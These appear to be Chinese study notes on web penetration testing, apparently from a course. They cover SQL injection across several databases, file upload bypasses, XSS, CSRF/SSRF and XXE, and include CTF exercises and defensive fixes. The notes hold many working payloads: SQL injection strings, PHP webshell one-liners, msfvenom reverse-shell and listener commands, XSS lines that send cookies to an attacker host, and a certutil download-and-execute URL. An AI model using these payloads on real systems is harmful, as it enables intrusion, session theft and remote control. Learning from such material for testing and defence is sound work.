小孩子不懂事,写着玩的

目录

Web攻防

特有漏洞

ASP安全

ASPX(.NET)安全

PHP安全

JavaWeb安全

JS,Node.js安全

Java安全

Python安全

通用漏洞

SQL注入

MySQL-root高权限读写注入

PostgreSQL-高权限读写注入

MSSQL-sa高权限读写执行注入

SQL注入体系

oracle数据库读写注入

Mongodb数据库读写注入

SQLMap使用

提交方式注入

增删改查注入,盲注

CTF,二次,堆叠以及DNS.log注入

文件上传

一:

二:   

三:

四:

XSS跨站

CSRF&SSRF

XML&XXE

文件包含

文件任意下载&删除&读取

RCE

序列化

php反序列化

一:

二:

Java反序列化

Python反序列化

业务逻辑

购买支付逻辑


Web攻防

特有漏洞

ASP安全

MDB数据库,IIS(中间件)短文件名,解析,写入权限

ASPX(.NET)安全

DLL反编译,调试信息泄露,未授权访问

PHP安全

==(弱类型比较)与===(会比较数据类型);intval函数(取整数)使用进制或小数进行绕过;

strpos函数(查询指定字符第一次出现的位置)使用换行(0x0a)空格(0x20,+)进行绕过;

inarray函数第三位参数(true)是否设置,如果没有设置则是弱类型比较;preg_match函数使用数组,没有m(换行)进行限制的正则表达式可以使用换行进行绕过,str_replace函数无递归替换。

JavaWeb安全

身份认证

键值逻辑:使用键名键值直接进行对比验证错误

JWT攻击:1、前面未验证进行空加密2、爆破密钥3、KID利用与其他漏洞进行组合

访问控制

隐藏属性:前端页面的自慰限制显示(只显示部分信息)

水平越权:同一级别用户权限的查看

JS,Node.js安全

1. 源生JS开发框架-安全条件

2.常见安全问题-前端验证&未授权访问

什么是JS渗透测试?

在JS中也存在变量以及函数,当存在可控变量及函数调用即可能出现参数漏洞

JS开发的Web应用和PHP,Java,.NET等区别在于有没有源码,可以通过浏览器的查看源代码获取真实的点,所以相当于JS开发的Web应用属于白盒测试(默认有源代码)

流行的JS框架有哪些?

VUE,Node

如何判断JS开发应用?

插件wapplayzer,源代码简短,引入多个JS文件,一般有/script/js/app.js 等顺序的js文件

cookie中有connect.sid

如何获取更多的JS文件?

method:"get"

http.get("

method:"post"

http.post("

$.ajax

service.httppost

service.httpget

特性        相对于没源码PHP属于有源码白盒测试

安全

源生代码

引用框架        node,vue

安全漏洞        前端验证,url泄露,未授权访问

Java安全

JAR反编译,URL路由代码关系,加载jar包

身份验证 JWT安全:空算法无签名,爆破密钥,KID攻击

安全组件

看项目中带有的组件jar 判断有没有安全风险组件

看代码中声明包含的组件,在哪里利用看代码

Python安全

PYC文件反编译

pyc文件是py文件编译后产生的字节码文件{byte code},pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件

Python-Web-SSTI

什么是SSTI?有什么漏洞危害?

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题,其影响范围主要取决于模板引擎的复杂性

如何判断检测SSTI漏洞的存在?

输入的数据会被浏览器利用当前脚本语言调用解析执行

SSTI会产生在哪些开发应用中?

SSTI安全问题在生产环境哪里产生?

存在模板引用的地方,入404错误页面展示

存在数据接收引用的地方,如模板解析获取参数数据

SSTI模板注入利用分析

CTF靶场,shrine

1,源码分析SSTI考点

2,测试判断SSTI存在

3,分析代码过滤和FLAG存储

4,利用Flask两个函数利用获取

url_for() 用于构建操作指定函数的url

get_flashed_messages() 获取传递过来的数据

/shrine/{{url_for.__globals__}}

/shrine/{{url_for.__globals__['current_app'].config}}

/shrine/{{get_flashed_messages.__globals__}}

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

CMS源码 MACCMS_V8.X执行

payload:index.php?m=vod-search&wd={if-dddd:phpinfo()}{endif-dddd}

1.根据wd传递的代码找指向文件

2.index->vod->tpl->ifex->eval

3.构造Payload带入ifex并绕过后执行

通用漏洞

SQL注入

a.脚本代码与数据库前置知识

b.Access数据库注入-简易&偏移

c.Mysql数据库注入-简易&权限跨库

前置知识:

SQL注入漏洞产生原理分析

SQL注入漏洞危害利用分析

脚本代码与数据库操作流程

1.猜测数据库类型

2.根据类型选择思路

数据库名,表名,列名,数据

数据库类型,数据库用户,用户权限

脚本代码在实现代码与数据库进行通讯时(从数据库取出相关数据进行页面展示),将定义的SQL语句执行查询数据时,其中的SQL语句能通过传递参数自定义值来控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中敏感数据,如管理员账号密码)。这个过程就可以叫做SQL注入漏洞

漏洞产生根本条件:可控变量,特定函数

ASP+Access简易注入-字典猜解

由于Access数据库特性导致SQL注入是需要借助字典去猜解表名和列名,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入。

ASP+Access偏移注入-报错显示

偏移注入就是解决表名已知,列名未知的情况

为了网站和数据库的安全性,MySQL内置有root最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

MySQL两种思路:

1.非root的注入攻击:常规类的猜解

2.root用户的注入攻击:猜解数据,文件的读写操作,跨库查询注入等

黑盒测试中可以采用user()获取当前用户权限,白盒测试中看连接用户即可

MySQL5.0以上版本:自带的数据库名:information_schema,用于存储数据库下的数据库名及表名,列名信息的数据库,columns(列名),tables(表名),schemeta(数据库名)

获取当前数据库下面的表名信息:

union select table_name,2,3,4,5,6 from information_schema.tables where table_schema = 'syguestbook'

获取sy_adminuser的列名信息:

union select column_name,2,3,4,5,6 from information_schema.columns where table_name = 'sy_adminuser' and table_schema = 'syguestbook'

获取指定数据:

union select username ,password,3,4,5,6 from sy_adminuser

跨库注入:实现当前网站跨库查询其他数据库对应网站的数据,获取当前mysql下所有数据库名

union select schemata_name,2,3,4,5,6 from information_schema.schemata 

获取数据库名xhcms下的表名信息

union select schemata_name,2,3,4,5,6 from information_schema.tables where table_schema = 'xhcms'

获取数据库名xhcms下表manage的列名信息

union select column_name,2,3,4,5,6 from information_schema.columns where table_name = 'manage' and table_schema = 'xhcms'

获取指定数据:

union select user ,password,3,4,5,6 from xhcms.manage

获取相关数据:

a、数据库版本-看是否符合information_schema查询-version()

b、数据库用户-看是否符合root类型注入攻击-user()

c、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

d、数据库名-为后期猜解指令数据库下的表,列做准备-database()

1.SQL注入-mysql数据库

2.SQL注入-mssql数据库

3.SQL注入-Postgre数据库

Access无最高注入点只能猜解,还是暴力猜解

MySQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等

MySQL-root高权限读写注入

读取文件:

union select 1,loadfile('d:/w.txt'),3,4,5

写入文件:

union select 1,'xxxx',3,4,5 into outfile/[dumpfile] 'd:/www.txt'

路径获取:phpinfo,报错,字典等

无法写入:secure_file_priv      突破 注入中需要支持SQL环境,如没有就需要借助phpadmin或能够直接连上对方数据库进行绕过

set global slow_query_log=1        开启慢日志记录

set global slow_query_log='shell路径';

select '<?php eval($_Get[A])?>' or sleep(11); 

PostgreSQL-高权限读写注入

测列数:

order by 4

and 1=2 union select null,null,null,null

测显位:第2,3 

and 1=2 union select 'null',null,null,null 错误

and 1=2 union select null,'null',null,null 正常 

and 1=2 union select null,null,'null',null 正常

and 1=2 union select null,null,null,'null' 错误

获取信息:

and 1=2 union select null,version(),null,null

and 1=2 union select null,current_user(),null,null

and 1=2 union select null,current_database(),null,null

获取数据库名:

and 1=2 union select null,string_agg(datname,','),null,null from pg_database

获取当前数据库表名:

1,and 1=2 union select null,string_agg(datname,','),null,null from pg_tables where schemaname ='public'

2,and 1=2 union select null,string_agg(datname,','),null,null from pg_stat_user_tables

获取列名:

and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

获取数据:

and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from rg_users

补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的)

and 1=2 union select null,string_agg(usename,','),null,null from pg_user where usesuper is true

https://www.freebuf.com/sectool/249371.html

MSSQL-sa高权限读写执行注入

测列数:

order by 4

and 1=2 union all select null,null,null,null

侧显位:

and 1=2 union all select null,1,null,null

and 1=2 union all select null,null,'s',null

获取信息:

@@version 获取版本信息

db_name()        获取数据库名

user,system_user,current_user,user_name获取当前用户名

@@SERVERNAME        获取服务器主机信息

and 1=2 union all select null,db_name(),null,null

获取表名:

and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='u'),null,null

union all select null ,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype ='u' and name not in ('manage')),null,null

获取列名:

and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null 

and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null 

and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null 

and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null 

获取数据:

and 1=2 union all select null,username,password,null from manage

SQL注入体系

1.数据库注入        access,mysql,mssql,Oracle,mongodb,postgresql等

2.数据类型注入        数字型,字符型,搜索型,加密型(base64,json等)

3.提交方式注入        get,post,cookie,http头等

4.查询方式注入        增删改查,堆叠等

5.复杂注入利用        二次注入,dnslog注入,绕过bypass等

oracle数据库读写注入

测回显

and 1=2 union select '1' ,'2' from dual

爆库:

and 1=2 union select '1' ,(select table_name from user_tables where rownum=1) from dual

模糊爆库:

and 1=2 union select '1' ,(select table_name from user_tables where rownum=1 and table_name like '%user') from dual

爆列名:

and 1=2 union select '1' ,(select column_name from all_tab_columns where rownum=1 and table_name = 'sns_users') from dual

爆其他列名:

and 1=2 union select '1' ,(select column_name from all_tab_columns  where rownum=1 and table_name = 'sns_users' and column_name not in ('USER_NAME')) from dual

爆数据:

and 1=2 union select user_name,user_pwd from "sns_users"

爆其他数据:

and 1=2 union select user_name,user_pwd from "sns_users" where USERNAME<>'hu'

Mongodb数据库读写注入

测回显:

/new_list.php?id=1'});return({title:1,content:'2

爆库:

/new_list.php?id=1'});return({title:tojson(db),content:'1

爆表:

/new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'1

爆字段:

/new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'1

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串

db.Authority_confidential是当前用的合集(表),find函数用于查询,0是第一条数据

SQLMap使用

1.判断数据库注入点

2.判断注入点权限

SQLMAP 数据库注入数据猜解

SQLMAP 高权限注入读写执行

SQLMAP 高权限注入联动MSF

SQLmap使用参数:

参考:https://www.cnblogs.com/bmjoker/p/9326258.html

爆库        --dbs

爆表        --tables -D "库名"

爆字段        --columns -T "表名" -D "库名"

爆数据        --dump -C "列名(字段名)" -T "表名" -D "库名"

--file-read        读出

--file-write        写入

--file-dest        上传

命令执行

--os-shell

--os-cmd

插件使用

数字型 0-9        一般没有符号考虑

字符型 a-z 中文 标点符号 加入了单引号        一般闭合单引号

搜索型 在基础上又加入了通配符%        一般闭合单引号加通配符%

编码型 数据以编码值传递        注入payload需要进行编码后发送

加密型 数据以加密的密文发送过去        注入payload需要进行加密后发送

格式型 JSON        符合格式注入即可

%df 宽字节绕过转义字符

扫描,利用工具等都不会自动判断数据类型,格式等,所以即使有漏洞也测不出来,具体还是需要人工的去观察,进行工具的修改或加载插件再次探针才可以

数据进行编码接受处理:

发送编码值,对方通常会进行解码后带入数据在进行sql执行

在注入的时候,我们也要尝试对注入的Payload进行编码后提交

开发程序里,数字不需要单引号,字符需要单引号 双引号去进行概括

需要考虑到符号的闭合 才能正确的执行SQL 完成SQL注入

提交方式注入

数据请求方式-get&post&cookie等

常见功能点请求方式-用户登录&IP记录等

黑盒白盒注入测试要点-SQLMAP注入参数

黑盒测试:功能点分析

白盒测试:功能点分析&关键代码追踪

GET

POST        表单,上传

COOKIE        身份验证

HTTP头        UA头,XFF头,来源头

增删改查注入,盲注

1,明确查询方式注入Payload

2,明确查询方式注入产生功能

3,明确SQL盲注延时&布尔&报错

详细点:

盲注就是在注入过程中,获取的数据不能回显至页面前端

此时,就需要利用一些方法进行判断或者尝试,这个过程称之为盲注

解决:常规的联合查询注入不行的情况

盲注分为以下三类:

基于布尔的sql盲注-逻辑判断

regexp,like,ascii,left,ord,mid

基于时间的sql盲注-延时判断

if,sleep

基于报错的sql盲注-报错回显

floor,updatexml,extractvalue

https://www.jianshu.com/p/bc35f8dd4f7c

sql-盲注&布尔&报错&回显

查询-select-xhcms-布尔盲注

插入-insert-xhcms-报错盲注

更新-update-xhcms-报错盲注

删除-delete-kkcms-延时盲注

php开发项目-输出结果&开启报错

基于延时        都不需要

/blog/news.php?id=1 and if(1=1,sleep(5),0)

基于布尔        有数据库输出判断标准

/blog/news.php?id=1 and length(database())=7

基于报错        有数据库报错处理判断标志

/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

知识点:

1,查询方式增删改查四种特性决定,部分是不需要进行数据取出和显示,所以此类注入基本上需要盲注才能正常得到结果(黑盒测试可以根据功能判断注入的查询方式)

2,查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻,修改文章等)

CTF,二次,堆叠以及DNS.log注入

知识点

a:数据库堆叠注入

根据数据库类型决定是否支持多条语句执行

b:数据库二次注入

应用功能逻辑涉及上导致的先写入后组合的注入

c:数据库Dnslog注入

解决不回显(反向连接),sql注入,命令执行,SSRF等

d:黑盒模式分析以下

二次注入:插入后调用显示操作符合

堆叠注入:判断注入后直接调多条执行

DNS注入:在注入上没有太大利用价值

堆叠注入

根据数据库类型决定是否支持多条语句执行

支持堆叠数据库类型:Mysql,Mssql,Postgresql等

DNS利用

1,平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2,场景

解决不回显,反向连接,sql注入,命令执行,SSRF等

二次注入

文件上传
一:

 知识点:

1.文件上传-前端验证

2.文件上传-黑白名单

3.文件上传-.user.ini妙用

4.文件上传-php特性

详细点:

a:检测层面:前端,后端等

b:检测内容:文件头,完整性,二次渲染等

c:检测后缀:黑名单,白名单,MIME检测等

d:绕过检测,多后缀解析,截断,中间件特性,条件竞争等

本章内容:

1,文件上传-ctf赛题知识点

2,文件上传-中间件解析&编辑器安全

3,文件上传-实例cms文件上传安全分析

当含有php关键字过滤时,进行修改语句

<? echo '123';?>        前提是开启配置参数short_open_tags=on

<?=(表达式)?>        不需要开启参数配置

<% echo '123';%>        前提是开启配置参数asp_tags = on

<script language="php"> echo '1'; </script>        不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST[x]);?>

含有[]过滤可以考虑{}

含有; php以及[]过滤考虑        <?=system('tac ../flag.*')?>

含有()过滤考虑使用反引号运算符的效果与函数shell_exec()相同        <?=`tac ../f*`?>

含有`过滤考虑使用        <?=include"/var/lo"."g/nginx/access.lo"."g"?>   再配合UA头插入后面代码 

二:   

知识点:

1,文件上传,二次渲染

2,文件上传,简单免杀变异

3,文件上传,htaccess妙用

4,文件上传,php语言特性

前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess

162        突破过滤

利用远程包含IP转换地址后门调用执行

.user.ini auto_prepend_file=png

png<?=include'http://...'>

https://www.bejson.com/convert/ip2int/

163        突破上传删除

过滤(){}等同时删除文件

直接利用.user.ini远程包含

auto_prepend_file=http://...        转换为数字ip

自动删除        规则

1.什么都删除

2.后门代码删除

条件竞争:在上传成功,立马访问,创建新型代码(代码被执行后重新新建一个文件)

164        png二次渲染

https://blog.csdn.net/qq_40800734/article/details/105920149

get 0=system

post 1=tac flag.php

文件二次渲染

1,判断上传前与上传后的文件大小及内容

2,判断上传后的文件返回数据包内容

167        .htaccess妙用

.htaccess默认不支持nginx,设置后支持

.htaccess可以通过设置实现文件解析设置

将.png后缀的文件解析成.php

AddType application/x-httpd-php.png

将.png后缀的文件解析成php

168 免杀后门

<php $a='syste' $b='m' $c=$a.$b.$c("tac ../flagaa.php");?>

169 170日志包含

构造 .user.ini利用条件:上传index.php内容随意

上传 .user.ini包含日志:auto_propend_file=/var/log/nginx/access.log

访问地址带后门UA头写入日志        <?=eval($_POST[x]);?>

三:

中间件文件解析-IIS&Apache&Nginx

-IIS 6 7 文件名 目录名

1.文件名:x.asp;.x.jpg

2.目录名:x.asp/x.jpg

3.IIS7.X与Nginx解析漏洞一致

上传文件能不能修改上传目录或上传的文件名能增加命名

上传的文件名固定的或者目录也无法创建 那么解析漏洞无用武之地 

-Apache 换行解析 配置不当

1.换行解析-CVE-2017-15715

其中2.4.0~2.4.29版本中存在一个解析漏洞

2.配置不当-.htaccess配置不当

AddHandler applycation/x-httpd-php.php

黑名单验证(在黑名单后缀不让上传 php jsp 等)

php%0a绕过黑名单 这个后缀也能够正常解析后门代码

白名单可能不行(在白名单里面才可以上传 jpg png gif 等)

1.jpg.php%0a        没考虑最后一个点为后缀,白名单就可以 

文件名需要基于本地上传为准

-Nginx 文件名逻辑 解析漏洞

1.文件名逻辑-CVE-2013-4547

影响版本:Nginx 0.8.41~1.4.3/1.5.0~1.5.7

2.解析漏洞-Nginx.com配置不当

由此可知,该漏洞与Nginx,php版本无关,属于用户配置不当造成的解析漏洞

Web应用编辑器-Ueditor文件上传安全

网页后门代码

实例cms&平台中间件解析&编辑器引用

1.中间件配置不当导致文件被恶意解析

2.cms源码引用外部编辑器实现文件上传

四:

黑盒:寻找一切存在文件上传的功能应用

a:个人用户中心是否存在文件上传功能

b:后台管理系统是否存在文件上传功能

c:字典目录扫描探针文件上传构造地址

d:字典目录扫描探针编辑器目录构造地址

白盒:看三点,中间件,编辑器,功能代码

1,中间件直接看语言环境常见搭配

2,编辑器直接看目录机构或搜索关键字

3,功能代码直接看源码应用或关键字搜索

白盒审计-Finecms-代码常规-处理逻辑

黑盒思路:寻找上传点抓包修改突破获取状态码及地址

审计流程:功能点-代码文件-代码块-抓包调试-验证测试

白盒审计-CuppaCms-中间件-.htaccess

黑盒思路:存在文件管理上传改名突破,访问后再突破

审计流程:功能点-代码文件-代码块-抓包调试-验证测试

白盒审计-Metinfo-编辑器引用-第三方安全

黑盒思路:探针目录利用编辑器漏洞验证s

审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证

XSS跨站

知识点:

a:XSS跨站-原理&攻击&分类等

b:XSS跨站-反射型&存储型&DOM型等

c:XSS跨站-攻击手法&劫持盗取凭据等

d:XSS跨站-攻击项目&XSS平台&Beef-XSS        javascript:alert(1)

cookie获取,跳转,钓鱼社工,配合漏洞

XSS跨站系列内容

反射&存储&DOM&盲打&劫持

1.XSS跨站-原理&分类&手法

2.XSS跨站-探针&利用&审计

3.XSS跨站-另类攻击手法利用

4.XSS跨站-防御修复&绕过策略

1、原理

指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料,利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本

-数据交互的地方

        get,post,headers

        反馈与浏览

        富文本编辑器

        各类标签插入和自定义

-数据输出的地方

        用户资料

        关键词,标签,说明

        文件上传

2、分类

反射型(非持久型)        一次性构造利用

存储型(持久型)        攻击代码存储在数据库中的持久型XSS攻击

DOM型        接收输出均在JS实现,后期的构造在html代码中

mXSS(突变型XSS)        过滤后,通过分享,转载,预览等激活成功

UXSS(通用型XSS)        浏览器漏洞导致

Flash XSS   swf与js代码的调用     黑盒:爬虫,目录扫描,探针。swf下载后反编译审计    白盒:swf下载后反编译审计        反编译工具        JPEXS Free Flash Decompiler

PDF XSS      1,创建pdf,创建动作js      2,通过文件上传获取直链      3,直链地址访问后被触发

以下类型利用条件过时,大部分都是低版本IE才能支持

UTF-7 XSS

MHTML XSS

CSS XSS

VBScript XSS

3、危害

网络钓鱼,包括获取各类用户账号

窃取用户cookies资料,从而获取用户隐私信息,或者利用用户身份对网站执行操作

劫持用户(浏览器)会话,从而执行任意操纵,例如非法转账、发表日志、邮件等;强制弹出广告页面、刷流量等

页面挂马;

权限维持,flash钓鱼,浏览器网马,实时cookie获取,实时表单获取明文

进行恶意操作,如人意篡改页面信息、删除文章等

进行大量的客户端攻击,如ddos

获取客户端信息,如用户的浏览历史、真实ip、开放端口等

控制受害机器向其他网站发起攻击

结合其他漏洞,如csrf,实施进一步危害

提升用户权限,包括进一步渗透网站

传播跨站脚本蠕虫等

4、修复

a:过滤一些危险字符

b:HTTP-only Cookie

c:设置CSP(Content Security Policiy)

d:输入内容长度限制,转义等

MXSS:https://www.fooying.com/the-art-of-xss-1-introduction/

UXSS:Universal Cross-Site Scripting

UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型

MICROSOFT EDGE uXSS CVE-2021-34506

Edge浏览器翻译功能导致JS语句被调用执行

https://www.bilibili.com/video/BV1fX4y1c7rX

FlashXSS-swf引用js的xss

JPEXS Free Flash Decompiler

phpwind SWF 反编译 Flashxss

Externallnterface.call 执行JS代码

payload:/res/js/dev/util_libs/Player/Jplayer.swf?jQuery=alert(1))}catch(e){}//

PDFXSS-上传后直链触发

1.创建pdf,加入动作JS

2.通过文件上传获取直链

3.直链地址访问后被触发

XSS-后台植入Cookie&表单劫持

-条件:已取得相关Web权限后

1,写入代码到登录成功文件,利用beef或XSS平台实时监控Cookie等凭据实现权限维持

2,若存在同源策略或防护情况下,Cookie获取失败可采用表单劫持或数据明文传输实现

XSS-Flash钓鱼配合MSF捆绑上线

-条件:beef上线受控后或直接钓鱼

1)生成后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe>flash.exe

2)下载官方文件-保证安装正常

3)压缩捆绑文件-解压提取运行

4)MSF配置监听状态

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set Ihost 0.0.0.0

set Iport 6666

run

5)诱使受害者访问URL-语言要适当

XSS-浏览器网马配合MSF访问上线

条件:beef上线受控后或直接钓鱼(浏览器存在0day)

1.配置MSF生成url

use exploit/windows/browser/ms14_064_ole_code_execution

set allowpowershellprompt true

set target 1

run

2.诱使受害者访问url-语言要适当

CTF

316-反射型直接远程调用

<script>window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie</script>

服务器准备接收一个文件 接收Cookie get.php

js:document.cookie

window.location.href='https://xx.xx.xx.xx//get.php?c='+document.cookie

<?php

$cookie = $_GET['c'];

$Myfile = fopen("cookie.txt","w+");

fwrite($Myfile,$cookie);

fclose($Myfile);

?>

317-反射型过滤<script>

<img src=1 οnerrοr=window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie>

318 319-反射型过滤<img>

<input οnlοad="window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie;">

<svg οnlοad="window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie;">

320-326 反射型过滤空格

<svg/οnlοad="window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie;">

327 存储型无过滤

<script>window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie;</script>

328 存储型-注册插入JS

<script>window.location.href='http://xx.xx.xx.xx/get.php?c='+document.cookie;</script>

329 存储型-失效凭据需一步完成操作

<script>

$('.laytable-cell-1-0-1').each(function(index,value){        

        if(value.innerHTML.indexOf('ctf'+'show')>-1){

                window.location.href='http://xx.xx.xx.xx/get.php?c='+value.innerHTML;

}

});

330 存储型 借助修改密码充值管理员密码(GET)

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

331 存储型 借助修改密码充值管理员密码(POST)

<script>$.ajax({url:http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}})</script>

XSS修复-过滤函数&http_only&CSP&长度限制

1.过滤一些危险字符,以及转义字符& < > " ' 等危险字符

自定义过滤函数引用

2.HTTP-only Cookie

https://www.php.cn/php-ask-457831.html

php.ini设置或代码引用

session.cookie_httponly=1

ini_set("session.cookie_httponly",1);

3.设置CSP(Content Security Policy)

https://blog.csdn.net/a1766855068/article/details/89370320

header("Content-Security-Policy:img-src 'self' ");

4.输入内容长度限制,实体转义等

CSRF&SSRF

知识点:

a:CSRF-原理&危害&探针&利用

b:SSRF-原理&危害&探针&利用

c:CSRF&SSRF-黑盒下漏洞探针特点

CSRF:Cross-site request forgery,即跨站请求伪造,也被称为“One Click Attack”或“Session Riding”,通常缩写为CSRF或XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么都没输,但自己的qq号或其他的号就被盗了,即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性

CSRF的攻击过程两个条件:

1、目标用户已经登录了网站,能够执行网站的功能

2、目标用户访问了攻击者构造的url

CSRF安全问题黑盒如何判断:

a:看验证是否为网站同一来源-修复

b:看凭据有无token-修复

c:看关键操作有无验证-修复

CSRF安全问题白盒怎么审计:

同黑盒思路一样,代码中分析上述三看

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务器端发出请求的一个漏洞,一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务器端发起的,所以他能够请求到与它相连而外网隔离的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,比如从指定url地址获取网页文本内容,加载指定地址的图片,下载等等

SSRF黑盒可能出现的地方

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过url地址把原地址网页内容调优使其更适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过url地址加载或下载图片

5.图片/文章收藏功能:主要其会取url地址中tittle以及文本的内容作为显示以求一个好的用户体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理,属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理

11.未公开的api实现以及其他扩展调用url功能:可以利用google语法加上这些关键字去寻找SSRF漏洞

一些url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURL、ImageURL、domain。。。

12.从远程服务器请求资源(upload from url 如 discuz!:        import & export rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

SSRF白盒可能出现的地方:

a:功能点抓包指向代码块审计

b:功能点函数定位代码块审计

SSRF常见安全修复防御方案

1、禁用跳转

2、禁用不需要的协议

3、固定或限制资源地址

4、错误信息统一信息处理

系列内容点:

1.CSRF&SSRF&原理&利用&协议等

2.CSRF&SSRF&黑盒&审计&修复等

CSRF 原理&后台自动添加管理员

-案例说明:小迪在登录后台管理自己网站的时候,群里给小迪说阿祖又爱上了别人,随后点击了别人发的url链接,GG

小迪的网站:http://test.xiaodi8.com/

发送的url:http://xx.xx.xx.xx//add.html

利用流程:

1、获取目标的触发数据包

2、利用CSRFTester构造导出

3、诱使受害者访问特定地址触发

SSRF 原理&服务&协议&内网&漏洞

-参考:https://www.t00ls.cc/articles-41070.html

案例说明:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSRF探针本地及内网服务,并利用某漏洞直接获取到了内网某主机的权限!

1.服务探针:

http://127.0.0.1:8081/

http://127.0.0.1:3306/

2.协议玩法:

file:///D:/www.txt

dict://127.0.0.1:3306/info

ftp://192.168.46.148:21

3.内网扫描

http://192.168.46.148:8080

4.漏洞利用

生成:msfvenom -p windows/meterpreter/reverse_http LHOST=xx.xx.xx.xx LPORT=6688 -f exe  -o xx.exe

监听:

use exploit/multi/handler

set  payload windows/meterpreter/verse_http

set lhost 0.0.0.0

set lport 6688

run

下载:http://xx.xx.xx.xx:8080/?search==%00{.exec|cmd.exe%20/c%20certutil%20-urlcache%20-split%20-f%20http://xx.xx.xx.xx:117/xx.exe.}        (前内后外)

执行:http://192.168.46.148:8080/?search==%00{.exec|xx.exe.}

1,直接复现有没有

成功-》有

失败-》代码-》缺陷过滤(绕过)-》有

失败-》代码-》完整过滤-》没有

来源检测:

a:伪造-需要在代码数据包文件固定来源

b:尝试在网站寻找可上传地方,上传数据包文件,取得当前同域名访问地址

其他漏洞:

关键函数 和 应用功能

1、特定漏洞功能-》代码段分析审计

2、特定漏洞函数-》测试对应功能判断

功能点-采集        审计

采集添加-测试-抓包-代码-远程请求资源操作(函数)

函数-功能         审计

file_get_contents()

XML&XXE

客户端:xml发送数据

服务端:xml解析数据

利用xml写一个带有文件读取的代码尝试发送,类似文件读取功能实现

实体引用:引用远程的evil2.dtd文件

1、解决拦截防护绕过问题

2、解决数据回显问题

知识点:

1.XML&XXE-原理&发现&利用&修复等

2.XML&XXE-黑盒模式下的发现与利用

3.XML&XXE-白盒模式下的审计与利用

4.XML&XXE-无回显&伪协议&产生层面

思路点:

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

XXE黑盒发现:

a:获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试

b:不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

c:XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE白盒发现:

1.可通过应用功能追踪代码定位审计

2.可通过脚本特定函数搜索定位审计

3.可通过伪协议玩法绕过相关修复等

详细点:

